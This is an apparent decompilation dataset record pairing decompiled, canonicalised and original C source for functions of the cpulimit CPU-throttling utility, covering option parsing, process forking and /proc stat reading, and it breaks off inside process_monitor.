main

canonical_name: main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v5; // r12
__int64 v6; // rsi
_BYTE *v7; // rax
int v8; // er15
int v9; // er14
int v10; // er13
unsigned int v11; // er12
int v12; // eax
double v13; // xmm1_8
int v14; // er13
int v15; // eax
int v16; // eax
unsigned int v17; // ebx
const char *v18; // r13
char *const *v19; // rax
char *const *v20; // r12
char **v21; // rdi
int v22; // eax
__int64 v23; // r14
bool v24; // zf
__pid_t v25; // eax
unsigned int v26; // ebp
__pid_t v27; // eax
__pid_t v28; // er12
__int64 v29; // rbx
int v30; // ebp
unsigned __int8 v31; // dh
char *v33; // [rsp+8h] [rbp-160h]
int v34; // [rsp+10h] [rbp-158h]
int v35; // [rsp+14h] [rbp-154h]
int longind; // [rsp+24h] [rbp-144h] BYREF
int stat_loc; // [rsp+28h] [rbp-140h] BYREF
int v38; // [rsp+2Ch] [rbp-13Ch] BYREF
struct option longopts; // [rsp+30h] [rbp-138h] BYREF
const char *v40; // [rsp+50h] [rbp-118h]
int v41; // [rsp+58h] [rbp-110h]
__int64 v42; // [rsp+60h] [rbp-108h]
int v43; // [rsp+68h] [rbp-100h]
const char *v44; // [rsp+70h] [rbp-F8h]
int v45; // [rsp+78h] [rbp-F0h]
__int64 v46; // [rsp+80h] [rbp-E8h]
int v47; // [rsp+88h] [rbp-E0h]
const char *v48; // [rsp+90h] [rbp-D8h]
int v49; // [rsp+98h] [rbp-D0h]
__int64 v50; // [rsp+A0h] [rbp-C8h]
int v51; // [rsp+A8h] [rbp-C0h]
const char *v52; // [rsp+B0h] [rbp-B8h]
int v53; // [rsp+B8h] [rbp-B0h]
__int64 v54; // [rsp+C0h] [rbp-A8h]
int v55; // [rsp+C8h] [rbp-A0h]
const char *v56; // [rsp+D0h] [rbp-98h]
int v57; // [rsp+D8h] [rbp-90h]
__int64 v58; // [rsp+E0h] [rbp-88h]
int v59; // [rsp+E8h] [rbp-80h]
const char *v60; // [rsp+F0h] [rbp-78h]
int v61; // [rsp+F8h] [rbp-70h]
__int64 v62; // [rsp+100h] [rbp-68h]
int v63; // [rsp+108h] [rbp-60h]
__int64 v64; // [rsp+110h] [rbp-58h]
int v65; // [rsp+118h] [rbp-50h]
__int64 v66; // [rsp+120h] [rbp-48h]
int v67; // [rsp+128h] [rbp-40h]

v5 = *argv;
v6 = strlen(*argv);
v7 = memrchr_constprop_0((unsigned __int64)v5, v6);
if ( v7 )
v5 = v7 + 1;
v8 = 0;
v9 = 0;
v10 = 0;
program_name = (__int64)v5;
v11 = 0;
cpulimit_pid = getpid();
longind = 0;
NCPU = get_ncpu();
longopts.name = "pid";
longopts.has_arg = 1;
longopts.flag = 0LL;
longopts.val = 112;
v40 = "exe";
v41 = 1;
v42 = 0LL;
v43 = 101;
v44 = "limit";
v45 = 1;
v46 = 0LL;
v47 = 108;
v48 = "verbose";
v49 = 0;
v50 = 0LL;
v51 = 118;
v52 = "lazy";
v53 = 0;
v54 = 0LL;
v55 = 122;
v56 = "ignore-children";
v57 = 0;
v58 = 0LL;
v59 = 105;
v60 = "help";
v61 = 0;
v62 = 0LL;
v63 = 104;
v64 = 0LL;
v65 = 0;
v66 = 0LL;
v67 = 0;
v35 = 0;
v34 = 0;
v33 = 0LL;
while ( 2 )
{
v12 = getopt_long(argc, (char *const *)argv, "+p:e:l:vzih", &longopts, &longind);
if ( v12 != -1 )
{
switch ( v12 )
{
case '?':
goto LABEL_9;
case 'e':
v34 = 1;
v33 = optarg;
continue;
case 'h':
print_usage_constprop_0(stdout);
case 'i':
v35 = 1;
continue;
case 'l':
v8 = 1;
v10 = atoi(optarg);
continue;
case 'p':
v9 = 1;
v11 = atoi(optarg);
continue;
case 'v':
verbose = 1;
continue;
case 'z':
lazy = 1;
continue;
default:
abort();
}
}
break;
}
if ( v9 )
{
if ( v11 - 2 > 0xFFFD )
{
fwrite("Error: Invalid value for argument PID\n", 1uLL, 0x26uLL, stderr);
LABEL_9:
print_usage_constprop_0(stderr);
}
}
else if ( !v11 )
{
goto LABEL_18;
}
lazy = 1;
LABEL_18:
if ( !v8 )
{
fwrite("Error: You must specify a cpu limit percentage\n", 1uLL, 0x2FuLL, stderr);
print_usage_constprop_0(stderr);
}
v13 = (double)v10 / 100.0;
if ( v13 < 0.0 || v13 > (double)NCPU )
{
fprintf(stderr, "Error: limit must be in the range 0-%d00\n", (unsigned int)NCPU);
print_usage_constprop_0(stderr);
}
v14 = optind;
v15 = (optind < argc) + v9 + v34;
if ( !v15 )
{
fwrite("Error: You must specify one target process, either by name, pid, or command line\n", 1uLL, 0x51uLL, stderr);
print_usage_constprop_0(stderr);
}
if ( v15 != 1 )
{
fwrite(
"Error: You must specify exactly one target process, either by name, pid, or command line\n",
1uLL,
0x59uLL,
stderr);
print_usage_constprop_0(stderr);
}
signal(2, (__sighandler_t)quit);
signal(15, (__sighandler_t)quit);
if ( verbose )
printf("%d cpu detected\n", (unsigned int)NCPU);
if ( !check_proc() )
{
fwrite("procfs is not mounted!\nAborting\n", 1uLL, 0x20uLL, stderr);
exit(-2);
}
if ( v14 < argc )
{
v18 = argv[optind];
v19 = (char *const *)malloc(8LL * (argc - optind + 1));
v20 = v19;
if ( !v19 )
exit(2);
v21 = (char **)v19;
v22 = argc - optind;
if ( argc - optind < 0 )
v22 = 0;
v23 = v22;
memcpy(v21, &argv[optind], 8LL * v22);
v24 = verbose == 0;
v20[v23] = 0LL;
if ( !v24 )
{
v29 = 0LL;
printf("Running command: '%s", v18);
while ( argc - optind > (int)++v29 )
printf(" %s", v20[v29]);
puts("'");
}
v25 = fork();
v26 = v25;
if ( v25 >= 0 )
{
if ( !v25 )
{
v30 = execvp(v18, v20);
perror("Error");
exit(v30);
}
v27 = fork();
v28 = v27;
if ( v27 >= 0 )
{
if ( !v27 )
{
if ( verbose )
printf("Limiting process %d\n", v26);
limit_process(v26, v35, v13);
exit(0);
}
waitpid(v26, &stat_loc, 0);
waitpid(v28, &v38, 0);
v31 = BYTE1(stat_loc);
if ( (stat_loc & 0x7F) == 0 )
{
if ( verbose )
{
printf("Process %d terminated with exit status %d\n", v26, BYTE1(stat_loc));
v31 = BYTE1(stat_loc);
}
exit(v31);
}
printf("Process %d terminated abnormally\n", v26);
exit(stat_loc);
}
}
LABEL_58:
exit(1);
}
while ( 1 )
{
if ( v9 )
{
v16 = look_for_process_by_pid(v11);
if ( !v16 )
goto LABEL_43;
v17 = v11;
if ( v16 < 0 )
goto LABEL_42;
}
else
{
v16 = look_for_process_by_name(v33);
v17 = v16;
if ( !v16 )
{
LABEL_43:
puts("No process found");
goto LABEL_37;
}
if ( v16 < 0 )
{
LABEL_42:
puts("Process found but you aren't allowed to control it");
goto LABEL_37;
}
}
if ( cpulimit_pid == v16 )
{
printf("Process %d is cpulimit itself! Aborting to avoid deadlock\n", (unsigned int)v16);
goto LABEL_58;
}
v11 = v17;
printf("Process %d found\n", v17);
limit_process(v17, v35, v13);
LABEL_37:
if ( lazy )
exit(0);
sleep(2u);
}
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v5; // r12
__int64 v6; // rsi
_BYTE *v7; // rax
int v8; // er15
int v9; // er14
int v10; // er13
unsigned int v11; // er12
int v12; // eax
double v13; // xmm1_8
int v14; // er13
int v15; // eax
int v16; // eax
unsigned int v17; // ebx
const char *v18; // r13
char *const *v19; // rax
char *const *v20; // r12
char **v21; // rdi
int v22; // eax
__int64 v23; // r14
bool v24; // zf
__pid_t v25; // eax
unsigned int v26; // ebp
__pid_t v27; // eax
__pid_t v28; // er12
__int64 v29; // rbx
int v30; // ebp
unsigned __int8 v31; // dh
char *v33; // [rsp+8h] [rbp-160h]
int v34; // [rsp+10h] [rbp-158h]
int v35; // [rsp+14h] [rbp-154h]
int longind; // [rsp+24h] [rbp-144h] BYREF
int stat_loc; // [rsp+28h] [rbp-140h] BYREF
int v38; // [rsp+2Ch] [rbp-13Ch] BYREF
struct option longopts; // [rsp+30h] [rbp-138h] BYREF
const char *v40; // [rsp+50h] [rbp-118h]
int v41; // [rsp+58h] [rbp-110h]
__int64 v42; // [rsp+60h] [rbp-108h]
int v43; // [rsp+68h] [rbp-100h]
const char *v44; // [rsp+70h] [rbp-F8h]
int v45; // [rsp+78h] [rbp-F0h]
__int64 v46; // [rsp+80h] [rbp-E8h]
int v47; // [rsp+88h] [rbp-E0h]
const char *v48; // [rsp+90h] [rbp-D8h]
int v49; // [rsp+98h] [rbp-D0h]
__int64 v50; // [rsp+A0h] [rbp-C8h]
int v51; // [rsp+A8h] [rbp-C0h]
const char *v52; // [rsp+B0h] [rbp-B8h]
int v53; // [rsp+B8h] [rbp-B0h]
__int64 v54; // [rsp+C0h] [rbp-A8h]
int v55; // [rsp+C8h] [rbp-A0h]
const char *v56; // [rsp+D0h] [rbp-98h]
int v57; // [rsp+D8h] [rbp-90h]
__int64 v58; // [rsp+E0h] [rbp-88h]
int v59; // [rsp+E8h] [rbp-80h]
const char *v60; // [rsp+F0h] [rbp-78h]
int v61; // [rsp+F8h] [rbp-70h]
__int64 v62; // [rsp+100h] [rbp-68h]
int v63; // [rsp+108h] [rbp-60h]
__int64 v64; // [rsp+110h] [rbp-58h]
int v65; // [rsp+118h] [rbp-50h]
__int64 v66; // [rsp+120h] [rbp-48h]
int v67; // [rsp+128h] [rbp-40h]

v5 = *argv;
v6 = strlen(*argv);
v7 = memrchr_constprop_0((unsigned __int64)v5, v6);
if ( v7 )
v5 = v7 + 1;
v8 = 0;
v9 = 0;
v10 = 0;
program_name = (__int64)v5;
v11 = 0;
cpulimit_pid = getpid();
longind = 0;
NCPU = func1();
longopts.name = "pid";
longopts.has_arg = 1;
longopts.flag = 0LL;
longopts.val = 112;
v40 = "exe";
v41 = 1;
v42 = 0LL;
v43 = 101;
v44 = "limit";
v45 = 1;
v46 = 0LL;
v47 = 108;
v48 = "verbose";
v49 = 0;
v50 = 0LL;
v51 = 118;
v52 = "lazy";
v53 = 0;
v54 = 0LL;
v55 = 122;
v56 = "ignore-children";
v57 = 0;
v58 = 0LL;
v59 = 105;
v60 = "help";
v61 = 0;
v62 = 0LL;
v63 = 104;
v64 = 0LL;
v65 = 0;
v66 = 0LL;
v67 = 0;
v35 = 0;
v34 = 0;
v33 = 0LL;
while ( 2 )
{
v12 = getopt_long(argc, (char *const *)argv, "+p:e:l:vzih", &longopts, &longind);
if ( v12 != -1 )
{
switch ( v12 )
{
case '?':
goto LABEL_9;
case 'e':
v34 = 1;
v33 = optarg;
continue;
case 'h':
func3(stdout);
case 'i':
v35 = 1;
continue;
case 'l':
v8 = 1;
v10 = atoi(optarg);
continue;
case 'p':
v9 = 1;
v11 = atoi(optarg);
continue;
case 'v':
verbose = 1;
continue;
case 'z':
lazy = 1;
continue;
default:
abort();
}
}
break;
}
if ( v9 )
{
if ( v11 - 2 > 0xFFFD )
{
fwrite("Error: Invalid value for argument PID\n", 1uLL, 0x26uLL, stderr);
LABEL_9:
func3(stderr);
}
}
else if ( !v11 )
{
goto LABEL_18;
}
lazy = 1;
LABEL_18:
if ( !v8 )
{
fwrite("Error: You must specify a cpu limit percentage\n", 1uLL, 0x2FuLL, stderr);
func3(stderr);
}
v13 = (double)v10 / 100.0;
if ( v13 < 0.0 || v13 > (double)NCPU )
{
fprintf(stderr, "Error: limit must be in the range 0-%d00\n", (unsigned int)NCPU);
func3(stderr);
}
v14 = optind;
v15 = (optind < argc) + v9 + v34;
if ( !v15 )
{
fwrite("Error: You must specify one target process, either by name, pid, or command line\n", 1uLL, 0x51uLL, stderr);
func3(stderr);
}
if ( v15 != 1 )
{
fwrite(
"Error: You must specify exactly one target process, either by name, pid, or command line\n",
1uLL,
0x59uLL,
stderr);
func3(stderr);
}
signal(2, (__sighandler_t)quit);
signal(15, (__sighandler_t)quit);
if ( verbose )
printf("%d cpu detected\n", (unsigned int)NCPU);
if ( !func2() )
{
fwrite("procfs is not mounted!\nAborting\n", 1uLL, 0x20uLL, stderr);
exit(-2);
}
if ( v14 < argc )
{
v18 = argv[optind];
v19 = (char *const *)malloc(8LL * (argc - optind + 1));
v20 = v19;
if ( !v19 )
exit(2);
v21 = (char **)v19;
v22 = argc - optind;
if ( argc - optind < 0 )
v22 = 0;
v23 = v22;
memcpy(v21, &argv[optind], 8LL * v22);
v24 = verbose == 0;
v20[v23] = 0LL;
if ( !v24 )
{
v29 = 0LL;
printf("Running command: '%s", v18);
while ( argc - optind > (int)++v29 )
printf(" %s", v20[v29]);
puts("'");
}
v25 = fork();
v26 = v25;
if ( v25 >= 0 )
{
if ( !v25 )
{
v30 = execvp(v18, v20);
perror("Error");
exit(v30);
}
v27 = fork();
v28 = v27;
if ( v27 >= 0 )
{
if ( !v27 )
{
if ( verbose )
printf("Limiting process %d\n", v26);
func4(v26, v35, v13);
exit(0);
}
waitpid(v26, &stat_loc, 0);
waitpid(v28, &v38, 0);
v31 = BYTE1(stat_loc);
if ( (stat_loc & 0x7F) == 0 )
{
if ( verbose )
{
printf("Process %d terminated with exit status %d\n", v26, BYTE1(stat_loc));
v31 = BYTE1(stat_loc);
}
exit(v31);
}
printf("Process %d terminated abnormally\n", v26);
exit(stat_loc);
}
}
LABEL_58:
exit(1);
}
while ( 1 )
{
if ( v9 )
{
v16 = look_for_process_by_pid(v11);
if ( !v16 )
goto LABEL_43;
v17 = v11;
if ( v16 < 0 )
goto LABEL_42;
}
else
{
v16 = look_for_process_by_name(v33);
v17 = v16;
if ( !v16 )
{
LABEL_43:
puts("No process found");
goto LABEL_37;
}
if ( v16 < 0 )
{
LABEL_42:
puts("Process found but you aren't allowed to control it");
goto LABEL_37;
}
}
if ( cpulimit_pid == v16 )
{
printf("Process %d is cpulimit itself! Aborting to avoid deadlock\n", (unsigned int)v16);
goto LABEL_58;
}
v11 = v17;
printf("Process %d found\n", v17);
func4(v17, v35, v13);
LABEL_37:
if ( lazy )
exit(0);
sleep(2u);
}
}

original_code:
int main(int argc, char **argv) {
 const char *exe = ((void *)0);
 int perclimit = 0;
 int exe_ok = 0;
 int pid_ok = 0;
 int limit_ok = 0;
 pid_t pid = 0;
 int ignore_children = 0;
 char *p=(char*)memrchr(argv[0],(unsigned int)'/',strlen(argv[0]));
 program_name = p==((void *)0)?argv[0]:(p+1);
 cpulimit_pid = getpid();
 NCPU = get_ncpu();
 int next_option;
    int option_index = 0;
 const char* short_options = "+p:e:l:vzih";
 const struct option long_options[] = {
  { "pid", 1, ((void *)0), 'p' },
  { "exe", 1, ((void *)0), 'e' },
  { "limit", 1, ((void *)0), 'l' },
  { "verbose", 0, ((void *)0), 'v' },
  { "lazy", 0, ((void *)0), 'z' },
  { "ignore-children", 0, ((void *)0), 'i' },
  { "help", 0, ((void *)0), 'h' },
  { 0, 0, 0, 0 }
 };
 do {
  next_option = getopt_long(argc, argv, short_options,long_options, &option_index);
  switch(next_option) {
   case 'p':
    pid = atoi(optarg);
    pid_ok = 1;
    break;
   case 'e':
    exe = optarg;
    exe_ok = 1;
    break;
   case 'l':
    perclimit = atoi(optarg);
    limit_ok = 1;
    break;
   case 'v':
    verbose = 1;
    break;
   case 'z':
    lazy = 1;
    break;
   case 'i':
    ignore_children = 1;
    break;
   case 'h':
    print_usage(stdout, 1);
    break;
   case '?':
    print_usage(stderr, 1);
    break;
   case -1:
    break;
   default:
    abort();
  }
 } while(next_option != -1);
 if (pid_ok && (pid<=1 || pid>=65536)) {
  fprintf(stderr,"Error: Invalid value for argument PID\n");
  print_usage(stderr, 1);
  exit(1);
 }
 if (pid!=0) {
  lazy = 1;
 }
 if (!limit_ok) {
  fprintf(stderr,"Error: You must specify a cpu limit percentage\n");
  print_usage(stderr, 1);
  exit(1);
 }
 double limit = perclimit/100.0;
 if (limit<0 || limit >NCPU) {
  fprintf(stderr,"Error: limit must be in the range 0-%d00\n", NCPU);
  print_usage(stderr, 1);
  exit(1);
 }
 int command_mode = optind<argc;
 if (exe_ok + pid_ok + command_mode == 0) {
  fprintf(stderr,"Error: You must specify one target process, either by name, pid, or command line\n");
  print_usage(stderr, 1);
  exit(1);
 }
 if (exe_ok + pid_ok + command_mode > 1) {
  fprintf(stderr,"Error: You must specify exactly one target process, either by name, pid, or command line\n");
  print_usage(stderr, 1);
  exit(1);
 }
 signal(2, quit);
 signal(15, quit);
 if (verbose) printf("%d cpu detected\n", NCPU);
 if (!check_proc()) {
  fprintf(stderr, "procfs is not mounted!\nAborting\n");
  exit(-2);
 }
 if (command_mode) {
  int i;
  const char *cmd = argv[optind];
  char **cmd_args = (char**)malloc((argc-optind+1)*sizeof(char*));
  if (cmd_args==((void *)0)) exit(2);
  for (i=0; i<argc-optind; i++) {
   cmd_args[i] = argv[i+optind];
  }
  cmd_args[i] = ((void *)0);
  if (verbose) {
   printf("Running command: '%s", cmd);
   for (i=1; i<argc-optind; i++) {
    printf(" %s", cmd_args[i]);
   }
   printf("'\n");
  }
  int child = fork();
  if (child < 0) {
   exit(1);
  }
  else if (child > 0) {
   int limiter = fork();
   if (limiter < 0) {
    exit(1);
   }
   else if (limiter > 0) {
    int status_process;
    int status_limiter;
    waitpid(child, &status_process, 0);
    waitpid(limiter, &status_limiter, 0);
    if ((((status_process) & 0x7f) == 0)) {
     if (verbose) printf("Process %d terminated with exit status %d\n", child, (int)(((status_process) & 0xff00) >> 8));
     exit((((status_process) & 0xff00) >> 8));
    }
    printf("Process %d terminated abnormally\n", child);
    exit(status_process);
   }
   else {
    if (verbose) printf("Limiting process %d\n",child);
    limit_process(child, limit, ignore_children);
    exit(0);
   }
  }
  else {
   int ret = execvp(cmd, cmd_args);
   perror("Error");
   exit(ret);
  }
 }
 while(1) {
  pid_t ret = 0;
  if (pid_ok) {
   ret = look_for_process_by_pid(pid);
   if (ret == 0) {
    printf("No process found\n");
   }
   else if (ret < 0) {
    printf("Process found but you aren't allowed to control it\n");
   }
  }
  else {
   ret = look_for_process_by_name(exe);
   if (ret == 0) {
    printf("No process found\n");
   }
   else if (ret < 0) {
    printf("Process found but you aren't allowed to control it\n");
   }
   else {
    pid = ret;
   }
  }
  if (ret > 0) {
   if (ret == cpulimit_pid) {
    printf("Process %d is cpulimit itself! Aborting to avoid deadlock\n", ret);
    exit(1);
   }
   printf("Process %d found\n", pid);
   limit_process(pid, limit, ignore_children);
  }
  if (lazy) break;
  sleep(2);
 };
 exit(0);
}

canonical_original_code:
int main(int argc, char **argv) {
 char *exe = ((void *)0);
 int perclimit = 0;
 int exe_ok = 0;
 int pid_ok = 0;
 int limit_ok = 0;
 int pid = 0;
 int ignore_children = 0;
 char *p = (char*)memrchr(argv[0],(unsigned int)'/',strlen(argv[0]));
 program_name = p==((void *)0)?argv[0]:(p+1);
 cpulimit_pid = getpid();
 NCPU = get_ncpu();
 int next_option;
    int option_index = 0;
 char *short_options = "+p:e:l:vzih";
 struct option long_options[] = {
  { "pid", 1, ((void *)0), 'p' },
  { "exe", 1, ((void *)0), 'e' },
  { "limit", 1, ((void *)0), 'l' },
  { "verbose", 0, ((void *)0), 'v' },
  { "lazy", 0, ((void *)0), 'z' },
  { "ignore-children", 0, ((void *)0), 'i' },
  { "help", 0, ((void *)0), 'h' },
  { 0, 0, 0, 0 }
 };
 do {
  next_option = getopt_long(argc, argv, short_options,long_options, &option_index);
  switch(next_option) {
   case 'p':
    pid = atoi(optarg);
    pid_ok = 1;
    break;
   case 'e':
    exe = optarg;
    exe_ok = 1;
    break;
   case 'l':
    perclimit = atoi(optarg);
    limit_ok = 1;
    break;
   case 'v':
    verbose = 1;
    break;
   case 'z':
    lazy = 1;
    break;
   case 'i':
    ignore_children = 1;
    break;
   case 'h':
    print_usage(stdout, 1);
    break;
   case '?':
    print_usage(stderr, 1);
    break;
   case -1:
    break;
   default:
    abort();
  }
 } while(next_option != -1);
 if (pid_ok && (pid<=1 || pid>=65536)) {
  fprintf(stderr,"Error: Invalid value for argument PID\n");
  print_usage(stderr, 1);
  exit(1);
 }
 if (pid!=0) {
  lazy = 1;
 }
 if (!limit_ok) {
  fprintf(stderr,"Error: You must specify a cpu limit percentage\n");
  print_usage(stderr, 1);
  exit(1);
 }
 double limit = perclimit/100.0;
 if (limit<0 || limit >NCPU) {
  fprintf(stderr,"Error: limit must be in the range 0-%d00\n", NCPU);
  print_usage(stderr, 1);
  exit(1);
 }
 int command_mode = optind<argc;
 if (exe_ok + pid_ok + command_mode == 0) {
  fprintf(stderr,"Error: You must specify one target process, either by name, pid, or command line\n");
  print_usage(stderr, 1);
  exit(1);
 }
 if (exe_ok + pid_ok + command_mode > 1) {
  fprintf(stderr,"Error: You must specify exactly one target process, either by name, pid, or command line\n");
  print_usage(stderr, 1);
  exit(1);
 }
 signal(2, quit);
 signal(15, quit);
 if (verbose) printf("%d cpu detected\n", NCPU);
 if (!check_proc()) {
  fprintf(stderr, "procfs is not mounted!\nAborting\n");
  exit(-2);
 }
 if (command_mode) {
  int i;
  char *cmd = argv[optind];
  char **cmd_args = (char**)malloc((argc-optind+1)*sizeof(char*));
  if (cmd_args==((void *)0)) exit(2);
  for (i=0; i<argc-optind; i++) {
   cmd_args[i] = argv[i+optind];
  }
  cmd_args[i] = ((void *)0);
  if (verbose) {
   printf("Running command: '%s", cmd);
   for (i=1; i<argc-optind; i++) {
    printf(" %s", cmd_args[i]);
   }
   printf("'\n");
  }
  int child = fork();
  if (child < 0) {
   exit(1);
  }
  else if (child > 0) {
   int limiter = fork();
   if (limiter < 0) {
    exit(1);
   }
   else if (limiter > 0) {
    int status_process;
    int status_limiter;
    waitpid(child, &status_process, 0);
    waitpid(limiter, &status_limiter, 0);
    if ((((status_process) & 0x7f) == 0)) {
     if (verbose) printf("Process %d terminated with exit status %d\n", child, (int)(((status_process) & 0xff00) >> 8));
     exit((((status_process) & 0xff00) >> 8));
    }
    printf("Process %d terminated abnormally\n", child);
    exit(status_process);
   }
   else {
    if (verbose) printf("Limiting process %d\n",child);
    limit_process(child, limit, ignore_children);
    exit(0);
   }
  }
  else {
   int ret = execvp(cmd, cmd_args);
   perror("Error");
   exit(ret);
  }
 }
 while(1) {
  int ret = 0;
  if (pid_ok) {
   ret = look_for_process_by_pid(pid);
   if (ret == 0) {
    printf("No process found\n");
   }
   else if (ret < 0) {
    printf("Process found but you aren't allowed to control it\n");
   }
  }
  else {
   ret = look_for_process_by_name(exe);
   if (ret == 0) {
    printf("No process found\n");
   }
   else if (ret < 0) {
    printf("Process found but you aren't allowed to control it\n");
   }
   else {
    pid = ret;
   }
  }
  if (ret > 0) {
   if (ret == cpulimit_pid) {
    printf("Process %d is cpulimit itself! Aborting to avoid deadlock\n", ret);
    exit(1);
   }
   printf("Process %d found\n", pid);
   limit_process(pid, limit, ignore_children);
  }
  if (lazy) break;
  sleep(2);
 };
 exit(0);
}

variable_types: argc int

variable_types:
argv
char **

variable_types:
exe
char *

variable_types: perclimit int

variable_types:
p
char *

variable_types: struct option { char *name; int has_arg; int *flag; int val; } []

variable_types: i int

variable_types:
cmd
char *

variable_types: child int

variable_types: limiter int

variable_types: ret int


decompiled_code:
__int64 __fastcall get_starttime(unsigned int a1)
{
FILE *v1; // rax
FILE *v2; // rbp
__int64 v4; // [rsp+8h] [rbp-30h] BYREF
char s[40]; // [rsp+10h] [rbp-28h] BYREF

snprintf(s, 0x14uLL, "/proc/%d/stat", a1);
v1 = get_proc_stat_field(s, 21);
if ( !v1 )
return -1LL;
v2 = v1;
v4 = 0LL;
_isoc99_sscanf(v1, "%llu", &v4);
free(v2);
return v4;
}

canonical_decompiled_code:
__int64 __fastcall func0(unsigned int a1)
{
FILE *v1; // rax
FILE *v2; // rbp
__int64 v4; // [rsp+8h] [rbp-30h] BYREF
char s[40]; // [rsp+10h] [rbp-28h] BYREF

snprintf(s, 0x14uLL, "/proc/%d/stat", a1);
v1 = get_proc_stat_field(s, 21);
if ( !v1 )
return -1LL;
v2 = v1;
v4 = 0LL;
_isoc99_sscanf(v1, "%llu", &v4);
free(v2);
return v4;
}

original_code:
static unsigned long long get_starttime(pid_t pid)
{
 char file[20];
 snprintf(file, sizeof(file), "/proc/%d/stat", pid);
    char *tbuf = get_proc_stat_field(file, 21);
    if (tbuf == ((void *)0))
        return -1;
    unsigned long long starttime = 0;
    sscanf(tbuf, "%llu", &starttime);
    free(tbuf);
 return starttime;
}

canonical_original_code:
static unsigned long long get_starttime(int pid)
{
 char file[20];
 snprintf(file, sizeof(file), "/proc/%d/stat", pid);
    char *tbuf = get_proc_stat_field(file, 21);
    if (tbuf == ((void *)0))
        return -1;
    unsigned long long starttime = 0;
    sscanf(tbuf, "%llu", &starttime);
    free(tbuf);
 return starttime;
}

variable_types: pid int

variable_types:
file
char [20]

variable_types:
tbuf
char *

variable_types:
starttime
unsigned long long

return_type: unsigned long long


decompiled_code:
__int64 __fastcall get_jiffies(__int64 a1)
{
FILE *v1; // rax
FILE *v2; // rbp
FILE *v3; // rax
FILE *v4; // rbp
__int64 v6; // [rsp+0h] [rbp-28h] BYREF
__int64 v7; // [rsp+8h] [rbp-20h] BYREF

v1 = get_proc_stat_field((const char *)(a1 + 4149), 13);
if ( !v1 )
return 0xFFFFFFFFLL;
v2 = v1;
v6 = 0LL;
_isoc99_sscanf(v1, "%lu", &v6);
free(v2);
v3 = get_proc_stat_field((const char *)(a1 + 4149), 14);
v4 = v3;
if ( !v3 )
return 0xFFFFFFFFLL;
v7 = 0LL;
_isoc99_sscanf(v3, "%lu", &v7);
free(v4);
return (unsigned int)(v6 + v7);
}

canonical_decompiled_code:
__int64 __fastcall func1(__int64 a1)
{
FILE *v1; // rax
FILE *v2; // rbp
FILE *v3; // rax
FILE *v4; // rbp
__int64 v6; // [rsp+0h] [rbp-28h] BYREF
__int64 v7; // [rsp+8h] [rbp-20h] BYREF

v1 = get_proc_stat_field((const char *)(a1 + 4149), 13);
if ( !v1 )
return 0xFFFFFFFFLL;
v2 = v1;
v6 = 0LL;
_isoc99_sscanf(v1, "%lu", &v6);
free(v2);
v3 = get_proc_stat_field((const char *)(a1 + 4149), 14);
v4 = v3;
if ( !v3 )
return 0xFFFFFFFFLL;
v7 = 0LL;
_isoc99_sscanf(v3, "%lu", &v7);
free(v4);
return (unsigned int)(v6 + v7);
}

original_code:
static int get_jiffies(struct process *proc) {
    char *tbuf = get_proc_stat_field(proc->stat_file, 13);
    if (tbuf==((void *)0))
        return -1;
    unsigned long utime = 0;
    sscanf(tbuf, "%lu", &utime);
    free(tbuf);
    tbuf = get_proc_stat_field(proc->stat_file, 14);
    if (tbuf==((void *)0))
        return -1;
    unsigned long stime = 0;
    sscanf(tbuf, "%lu", &stime);
    free(tbuf);
 return utime+stime;
}

variable_types: struct process { int pid; int ppid; int starttime; int member; int last_jiffies; struct timeval { long tv_sec; long tv_usec; } last_sample; double cpu_usage; int is_zombie; char command[-1]; char stat_file[20]; char buffer[1024]; } *

variable_types:
utime
unsigned long

variable_types:
stime
unsigned long

return_type: int

user_defined_types: struct process { int pid; int ppid; int starttime; int member; int last_jiffies; struct timeval last_sample; double cpu_usage; int is_zombie; char command[-1]; char stat_file[20]; char buffer[1024]; }


decompiled_code:
__int64 get_proc_info()
{
return 0LL;
}

canonical_decompiled_code:
__int64 func3()
{
return 0LL;
}

original_code:
int get_proc_info(struct process *p, pid_t pid) {
 return 0;
}

canonical_original_code:
int get_proc_info(struct process *p, int pid) {
 return 0;
}

user_defined_types: struct timeval { long tv_sec; long tv_usec; }


decompiled_code:
__int64 process_update()
{
return 0LL;
}

canonical_decompiled_code:
__int64 func4()
{
return 0LL;
}

original_code:
int process_update(struct process *proc) {
 return 0;
}


decompiled_code:
__int64 __fastcall process_init(__int64 a1, unsigned int a2)
{
int v2; // eax

*(_DWORD *)a1 = a2;
v2 = get_starttime(a2);
*(_DWORD *)(a1 + 8) = v2;
if ( v2 == -1 )
return (unsigned int)-1;
*(_DWORD *)(a1 + 16) = -1;
*(_OWORD *)(a1 + 24) = 0LL;
*(_QWORD *)(a1 + 40) = 0LL;
*(_DWORD *)(a1 + 48) = 0;
snprintf((char *)(a1 + 4149), 0x14uLL, "/proc/%d/stat", a2);
return 0;
}

original_code:
int process_init(struct process *proc, int pid)
{
 proc->pid = pid;
 proc->starttime = get_starttime(pid);
    if (proc->starttime == -1)
        return -1;
 proc->cpu_usage = 0;
 memset(&(proc->last_sample), 0, sizeof(struct timeval));
 proc->last_jiffies = -1;
    proc->is_zombie = 0;
 snprintf(proc->stat_file, sizeof(proc->stat_file), "/proc/%d/stat", pid);
 return 0;
}


decompiled_code:
__int64 __fastcall process_monitor(__int64 a1)
{
int v1; // eax
int v2; // ebp
int v3; // er12
double v4; // xmm0_8
double v5; // xmm1_8
__time_t v6; // rax
__int64 result; // rax
__time_t v8; // rax
struct timeval v9; // [rsp+0h] [rbp-28h] BYREF

v1 = get_jiffies(a1);
if ( v1 < 0 )
return 0xFFFFFFFFLL;
v2 = v1;
gettimeofday(&v9, 0LL);
if ( *(_DWORD *)(a1 + 16) == -1 )
{
v8 = v9.tv_sec;
*(_DWORD *)(a1 + 16) = v2;
*(_QWORD *)(a1 + 24) = v8;
*(_QWORD *)(a1 + 32) = v9.tv_usec;
*(_QWORD *)(a1 + 40) = LC9;
result = 0LL;
}
else
{
v3 = timediff_isra_0(v9.tv_sec, v9.tv_usec, *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32));
v4 = (double)(v2 - *(_DWORD *)(a1 + 16)) / ((double)v3 * (double)(int)sysconf(2) / 1000000.0);
v5 = *(double *)(a1 + 40);
if ( v5 != -1.0 )
v4 = v4 * 0.08 + v5 * 0.92;
v6 = v9.tv_sec;
*(_DWORD *)(a1 + 16) = v2;
*(double *)(a1 + 40) = v4;
*(_QWORD *)(a1 + 24) = v6;
